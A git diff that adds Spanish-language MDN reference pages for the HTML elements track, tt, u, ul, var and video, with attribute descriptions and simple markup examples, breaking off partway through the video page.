index 0000000000..e05d9f0a9e
--- /dev/null
+++ b/files/es/web/html/elemento/track/index.html
@@ -0,0 +1,179 @@
+---
+title: '<track>: El elemento para pistas de texto incrustado'
+slug: Web/HTML/Elemento/track
+tags:
+  - Accessibility
+  - Contenido HTML insertado
+  - Elemento
+  - HTML
+  - HTML5
+  - Multimedia
+  - Pistas de texto
+  - Reference
+  - Web
+  - a11y
+  - anotaciones
+  - track
+translation_of: Web/HTML/Element/track
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">El <strong>elmento HTML <code>&lt;track&gt;</code></strong> es usado como hijo de los elementos multimedia, {{HTMLElement("audio")}} y {{HTMLElement("video")}}. Este te deja especificar pistas de texto temporizadas (o datos basados en el tiempo), por ejemplo para manejar automáticamente los subtítulos.</span> Las pistas de texto usan el <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">formato WebVTT</a> (archivos <code>.vtt</code>) o de pistas de texto para la web.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/track.html", "tabbed-standard")}}</div>
+
+<div class="hidden">La fuente para este ejemplo interactivo esta alojada en un repositorio de GitHub. Si quieres contribuir al proyecto de ejemplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Categorías del contenido</a></th>
+   <td>Ninguna</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Ninguno, es un {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omision de etiquetas</th>
+   <td>Como es un elemento vacío, la etiqueta de inicio debe estar presente y la etiqueta de cierre no debe estar presente.</td>
+  </tr>
+  <tr>
+   <th scope="row">Padres permitidos</th>
+   <td>Un elemento multimedia, {{HTMLElement("audio")}} o {{HTMLElement("video")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rol ARIA implícito</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">No hay rol correspondiente</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>No hay <code>role</code>s permitidos.</td>
+  </tr>
+  <tr>
+   <th scope="row">Intefaz DOM</th>
+   <td>{{domxref("HTMLTrackElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/en-US/docs/Web/HTML/Global_attributes">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("default")}}</dt>
+ <dd>Este atributo indica que esta pista de texto debe estar activada salvo que las preferencias del usuario indiquen que otra pista de texto es más apropiada. Este atributo solo puede ser usado en un elemento <code>track</code> por cada elemento multimedia.</dd>
+ <dt>{{htmlattrdef("kind")}}</dt>
+ <dd>Este atributo indica como esta pensada para usarse la pista de texto. Si lo omites el valor por defecto es <code>subtitles</code>. If the attribute contiene un valor invalido usará el valor <code>metadata</code> (Las versiones de Chrome anteriores a la 52 tratan un valor inválido como <code>subtitles</code>). Las siguientes palabras clave están permitidas:
+ <ul>
+  <li><code>subtitles</code>
+   <ul>
+    <li>Los subtítulos proporciona la traducción de contenido que no puede ser entendido por el espéctador. Por ejemplo diálogos o texto que no está en español en una película en español.</li>
+    <li>Los subtítulos puede contener información adicional, normalmente información extra sobre el escenario. Por ejemplo el texto al principio de las películas de Stars Wars, o la fecha, el tiempo, y la ubicación de una escena.</li>
+   </ul>
+  </li>
+  <li><code>captions</code>
+   <ul>
+    <li>Este valor provee una transcripción y posiblemente una traducción del audio.</li>
+    <li>Puede incluir información no verbal importante como anotaciones sobre la música o efectos de sonido. Tambien puede indicar la fuente de la anotación (por ejemplo: música, texto, caracteres).</li>
+    <li>Es adecuado para usuarios sordos o cuando el sonido está apagado.</li>
+   </ul>
+  </li>
+  <li><code>descriptions</code>
+   <ul>
+    <li>Descripción textual del conenido del video.</li>
+    <li>Adecuado para usuarios ciegos o cuando el video no se puede ver.</li>
+   </ul>
+  </li>
+  <li><code>chapters</code>
+   <ul>
+    <li>Los títulos de los capítulos estan pensados para ser usados cuando el usuario esta navegando a través del recurso multimedia.</li>
+   </ul>
+  </li>
+  <li><code>metadata</code>
+   <ul>
+    <li>Pistas de texto usadas por programas. No visibles para el usuario.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>Da un título a la pista de texto que puedan entender los usuarios y que es usado por el navegador cuando esta mostrando la lista de pistas de texto disponibles.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Señala la dirección de la pista de texto (archivo <code>.vtt</code>). Debe ser una URL valida. Este atributo debe ser especificado y su URL debe tener el mismo origen que el documento, salvo que el elemento {{HTMLElement("audio")}} o {{HTMLElement("video")}} que sea padre del elemento <code>track</code> tenga un atributo <code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code>.</dd>
+ <dt>{{htmlattrdef("srclang")}}</dt>
+ <dd>Señala el idioma de los datos de la pista de texto. Debe ser una etiqueta de idioma <a href="https://r12a.github.io/app-subtags/">BCP 47</a> valida. Si al atributo <code>kind</code> se le da el valor de <code>subtitles</code>, entonces <code>srclang</code> debe ser definido.</dd>
+</dl>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<h3 id="Tipos_de_datos_para_pistas_de_texto">Tipos de datos para pistas de texto</h3>
+
+<p>El tipo de dato que el elemento <code>track</code> añade al elemento multimedia es fijado en el atributo <code>kind</code>, que puede tener los valores de <code>subtitles</code>, <code>captions</code>, <code>descriptions</code>, <code>chapters</code> or <code>metadata</code>. El elemento apunta a un archivo fuente que contiene texto temporizado que el navegador muestra cuando el usuario solicita datos adicionales.</p>
+
+<p>Un elemento <code>media</code> no puede tener mas de un elemento <code>track</code> con el mismo valor en los atributos <code>kind</code>, <code>srclang</code>, y <code>label</code> a la vez.</p>
+
+<h3 id="Detectando_cambios_en_las_anotaciones">Detectando cambios en las anotaciones</h3>
+
+<p>{{page("/es/docs/Web/API/TextTrack/cuechange_event", "En el elemento track")}}</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html notranslate">&lt;video controls poster="/imagenes/ejemplo.gif"&gt;
+   &lt;source src="ejemplo.mp4" type="video/mp4"&gt;
+   &lt;source src="ejemplo.ogv" type="video/ogv"&gt;
+   &lt;track kind="captions" src="captionsDeEjemplo.vtt" srclang="en"&gt;
+   &lt;track kind="descriptions" src="descripciónDeEjemplo.vtt" srclang="en"&gt;
+   &lt;track kind="chapters" src="capítulosDeEjemplo.vtt" srclang="en"&gt;
+   &lt;track kind="subtitles" src="subtítulosDeEjemplo_de.vtt" srclang="de"&gt;
+   &lt;track kind="subtitles" src="subtítulosDeEjemplo_en.vtt" srclang="en"&gt;
+   &lt;track kind="subtitles" src="subtítulosDeEjemplo_ja.vtt" srclang="ja"&gt;
+   &lt;track kind="subtitles" src="subtítulosDeEjemplo_oz.vtt" srclang="oz"&gt;
+   &lt;track kind="metadata" src="etapaClave1.vtt" srclang="en"
+     label="Etapa clave 1"&gt;
+   &lt;track kind="metadata" src="etapaClave2.vtt" srclang="en"
+     label="Etapa clave 2"&gt;
+   &lt;track kind="metadata" src="etapaClave3.vtt" srclang="en"
+     label="Etapa clave 3"&gt;
+   &lt;!-- Fallback --&gt;
+   ...
+&lt;/video&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','embedded-content.html#the-track-element','track element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "semantics-embedded-content.html#the-track-element", "track element")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_navegadores">Compatibilidad con los navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página está generada desde datos estructurados. Si quieres contribuir a los datos, por favor visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una pull request.</div>
+
+<p>{{Compat("html.elements.track")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/WebVTT">El formato WebVTT para pistas de texto</a></li>
+ <li>{{domxref("HTMLMediaElement.textTracks")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/tt/index.html b/files/es/web/html/elemento/tt/index.html
new file mode 100644
index 0000000000..3bdd50de49
--- /dev/null
+++ b/files/es/web/html/elemento/tt/index.html
@@ -0,0 +1,58 @@
+---
+title: tt
+slug: Web/HTML/Elemento/tt
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/tt
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Muestra el texto marcado con una fuente de ancho fijo.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;tt&gt; y &lt;/tt&gt; (Ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#de_estilo_de_fuente">Elemento de estilo de fuente</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h5 id="Atributos_Gen.C3.A9ricos" name="Atributos_Gen.C3.A9ricos">Atributos Genéricos</h5>
+
+<ul>
+ <li>title (título del elemento)</li>
+ <li>style (información de estilo en línea)</li>
+</ul>
+
+<dl>
+ <dd><strong>Identificadores</strong>: id, class (identificadores a nivel de documento)</dd>
+ <dd><strong>Idioma</strong>: lang (información sobre el idioma), dir (dirección del texto)</dd>
+ <dd><strong>Eventos</strong>: onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</dd>
+</dl>
+
+<h5 id="Atributos_Espec.C3.ADficos_-_No_tiene" name="Atributos_Espec.C3.ADficos_-_No_tiene">Atributos Específicos - No tiene</h5>
+
+<h5 id="Atributos_Transicionales_-_No_tiene" name="Atributos_Transicionales_-_No_tiene">Atributos Transicionales - No tiene</h5>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">  &lt;p&gt;
+       Texto normal y... &lt;tt&gt;Texto con formato teletipo&lt;/tt&gt;
+  &lt;/p&gt;
+</pre>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<p><span class="comment">de momento no funciona </span></p>
diff --git a/files/es/web/html/elemento/u/index.html b/files/es/web/html/elemento/u/index.html
new file mode 100644
index 0000000000..1a355b443d
--- /dev/null
+++ b/files/es/web/html/elemento/u/index.html
@@ -0,0 +1,79 @@
+---
+title: u
+slug: Web/HTML/Elemento/u
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/u
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Muestra el texto subrayado.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;u&gt; y &lt;/u&gt; (Ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>
+
+ <dl>
+  <dd><a href="es/HTML/Elemento/Tipos_de_elementos#de_estilo_de_fuente">de estilo de fuente</a>.</dd>
+  <dd><a href="es/HTML/Elemento/Tipos_de_elementos#Desaprobado">Desaprobado</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h5 id="Atributos_Gen.C3.A9ricos" name="Atributos_Gen.C3.A9ricos">Atributos Genéricos</h5>
+
+<ul>
+ <li>title (título del elemento)</li>
+ <li>style (información de estilo en línea)</li>
+</ul>
+
+<dl>
+ <dd><strong>Identificadores</strong>: id, class (identificadores a nivel de documento)</dd>
+ <dd><strong>Idioma</strong>: lang (información sobre el idioma), dir (dirección del texto)</dd>
+ <dd><strong>Eventos</strong>: onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</dd>
+</dl>
+
+<h5 id="Atributos_Espec.C3.ADficos_-_No_tiene" name="Atributos_Espec.C3.ADficos_-_No_tiene">Atributos Específicos - No tiene</h5>
+
+<h5 id="Atributos_Transicionales_-_No_tiene" name="Atributos_Transicionales_-_No_tiene">Atributos Transicionales - No tiene</h5>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p>Uso de u:</p>
+
+<pre class="eval">  &lt;p&gt;
+       Texto normal y... &lt;u&gt;Texto subrayado&lt;/u&gt;
+  &lt;/p&gt;
+</pre>
+
+<p>Uso de CSS:</p>
+
+<pre class="eval">  &lt;p&gt;
+       Texto normal y... &lt;span style='text-decoration: underline'&gt;Texto subrayado&lt;/span&gt;
+  &lt;/p&gt;
+</pre>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<p>Para obtener el mismo resultado puede usarse La propiedad CSS text-decoration: underline;</p>
+
+<p>Si por algún motivo necesita usar elementos desaprobados como u, recuerde que debe declarar un DOCTYPE transicional.</p>
+
+<div class="warning">DESAPROBADO</div>
+
+<p><span class="comment">de momento no funciona </span></p>
diff --git a/files/es/web/html/elemento/ul/index.html b/files/es/web/html/elemento/ul/index.html
new file mode 100644
index 0000000000..6279c722bc
--- /dev/null
+++ b/files/es/web/html/elemento/ul/index.html
@@ -0,0 +1,151 @@
+---
+title: ul
+slug: Web/HTML/Elemento/ul
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/ul
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>ul</strong> de "unordered list" -<em>lista no ordenada</em> . crea una lista no ordenada.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;ul&gt; y &lt;/ul&gt;</code> (ambas obligatorias).</dd>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#delista">para listas</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: En bloque.</dd>
+ <dd><strong>Puede contener</strong>: Uno o más elementos <a href="es/HTML/Elemento/li">li</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td>Texto legible por personas. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>. Por defecto: "desconocido". Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr> Por defecto: En castellano 'ltr'. Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td colspan="3"><a class="external" href="http://html.conclase.net/w3c/html401-es/interact/scripts.html#events"><span style="color: green;">Eventos:</span></a> <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/lists.html#adef-type-UL"><code style="color: green;">type</code></a></td>
+   <td>Indica el estilo de los items de la lista.</td>
+   <td>Uno de los siguientes: <code>'disc', 'square', o 'circle'</code>. Por defecto: depende del anidamiento, lo fija el navegador</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/lists.html#adef-compact"><code style="color: green;">compact</code></a></td>
+   <td>Indica que la lista debe mostrase conpactada.</td>
+   <td>Solo puede ser: <code>'compact'</code>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p>El siguiente código:</p>
+
+<pre class="eval">&lt;ul&gt;
+ &lt;li&gt;Esto&lt;/li&gt;
+ &lt;li&gt;Lo otro&lt;/li&gt;
+ &lt;li&gt;Lo de más allá&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>Se visualiza así:</p>
+
+<div style="border: solid silver 1px;">
+<ul>
+ <li>Esto</li>
+ <li>Lo otro</li>
+ <li>Lo de más allá</li>
+</ul>
+</div>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/lists.html#edef-UL"><strong>ul</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-ul">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/var/index.html b/files/es/web/html/elemento/var/index.html
new file mode 100644
index 0000000000..dd29c31159
--- /dev/null
+++ b/files/es/web/html/elemento/var/index.html
@@ -0,0 +1,54 @@
+---
+title: var
+slug: Web/HTML/Elemento/var
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/var
+---
+<div>{{HTMLRef}}</div>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Marca variables de programas y similares.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;var&gt; y &lt;/var&gt; (ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#de_frase">Elemento de frase</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos<a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h5 id="Atributos_Gen.C3.A9ricos" name="Atributos_Gen.C3.A9ricos">Atributos Genéricos</h5>
+
+<ul>
+ <li>title (título del elemento)</li>
+ <li>style (información de estilo en línea)</li>
+</ul>
+
+<dl>
+ <dd><strong>Identificadores</strong>: id, class (identificadores a nivel de documento)</dd>
+ <dd><strong>Idioma</strong>: lang (información sobre el idioma), dir (dirección del texto)</dd>
+ <dd><strong>Eventos</strong>: onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</dd>
+</dl>
+
+<h5 id="Atributos_Espec.C3.ADficos_-_No_tiene." name="Atributos_Espec.C3.ADficos_-_No_tiene.">Atributos Específicos - No tiene.</h5>
+
+<h5 id="Atributos_Transicionales_-_No_tiene." name="Atributos_Transicionales_-_No_tiene.">Atributos Transicionales - No tiene.</h5>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">&lt;p&gt;
+el bucle no se detendrá hasta que &lt;var&gt;Faltan&lt;/var&gt; sea igual a 0.
+&lt;/p&gt;
+</pre>
diff --git a/files/es/web/html/elemento/video/index.html b/files/es/web/html/elemento/video/index.html
new file mode 100644
index 0000000000..e816c5db91
--- /dev/null
+++ b/files/es/web/html/elemento/video/index.html
@@ -0,0 +1,128 @@
+---
+title: video
+slug: Web/HTML/Elemento/video
+tags:
+  - HTML
+  - HTML5
+  - Multimedia
+  - para_revisar
+translation_of: Web/HTML/Element/video
+---
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El elemento <code>video</code> se utiliza para incrustar vídeos en un documento HTML o XHTML.</span></span></p>
+
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Para obtener una lista de formatos compatibles, consulta <a href="/es/Formatos_multimedia_admitidos_por_los_elementos_de_video_y_audio" title="es/Formatos multimedia admitidos por los elementos de video y audio">Formatos multimedia admitidos por los elementos de audio y vídeo</a> .</span></span></p>
+
+<h2 id="Contexto_de_uso"><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Contexto de uso</span></span></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Contenido permitido</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><a href="/en/HTML/Content_categories#transparent_content" title="en/HTML/Content categories#transparent content">Contenido transparente</a> , que contiene un atributo <strong>src</strong> o uno o más elementos {{ HTMLElement ("source") }}, seguidos por <a href="/en/HTML/Content_categories#flow_content" title="en/HTML/Content categories#flow content">contenido dinámico</a> o <a href="/en/HTML/Content_categories#phrasing_content" title="en/HTML/Content categories#phrasing content">el contenido estático</a> , sin elementos <code> &lt;video&gt;</code> ni  {{ HTMLElement ("audio") }}.</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Omisión de etiquetas</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Ninguna, deben estar presentes tanto las etiquetas de inicio como las de cierre</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Elementos primarios permitidos</span></span></td>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Cualquier elemento que acepte <a href="/en/HTML/Content_categories#flow_content" title="en/HTML/Content categories#flow content">contenido dinámico</a> o cualquier otro elemento que acepte <a href="/en/HTML/Content_categories#phrasing_content" title="en/HTML/Content categories#phrasing content">contenido estático</a> .</span></span></td>
+  </tr>
+  <tr>
+   <td><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Documento normativo</span></span></td>
+   <td><a class="external" href="http://www.w3.org/TR/html5/video.html#video" title="http://www.w3.org/TR/html5/video.html#video"><span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-from-mt goog-gtc-translatable" dir="ltr">HTML 5, sección 4.8.6</span></span></a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos"><span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-from-tm goog-gtc-from-tm-score-100 goog-gtc-translatable" dir="ltr">Atributos</span></span></h2>
+
+<dl>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">{{ htmlattrdef("autoplay") }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Un atributo booleano; si se especifica, el video comenzará a reproducirse automáticamente tan pronto como sea posible, sin detenerse para terminar de cargar los datos.</span></span></dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">{{ htmlattrdef("autobuffer") }} {{ Non-standard_inline() }} {{ obsolete_inline() }}</span></span></dt>
+ <dd><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Un atributo booleano; si se especifica, el video comenzará automáticamente a almacenarse en el búfer, incluso si no está listo para reproducirse de forma automática.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Esto se debe utilizar para los casos en los que se considera probable que el video se reproduzca (por ejemplo, si el usuario accedió a esa página específica para reproducir el video, no si hay un video insertado junto con otros contenidos). </span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">El video se almacena en el búfer hasta que el caché de medios esté lleno.</span></span>
+ <div class="note"><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr"><strong>Nota de implementación:</strong> aunque forma parte de los primeros borradores de la especificación HTML 5, el atributo <strong>autobuffer</strong> se ha eliminado en versiones posteriores.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">Se ha quitado de Gecko 2.0 y otros navegadores, y en algunos nunca llegó a implementarse.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">La especificación define un nuevo atributo enumerado, <strong>preload,</strong> para sustituir el atributo <strong>autobuffer,</strong> con una sintaxis diferente. {{ bug (548523) }}</span></span></div>
+ </dd>
+ <dt><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-from-human goog-gtc-translatable" dir="ltr">{{ htmlattrdef("buffered") }} {{ gecko_minversion_inline("2.0") }}</span></span></dt>
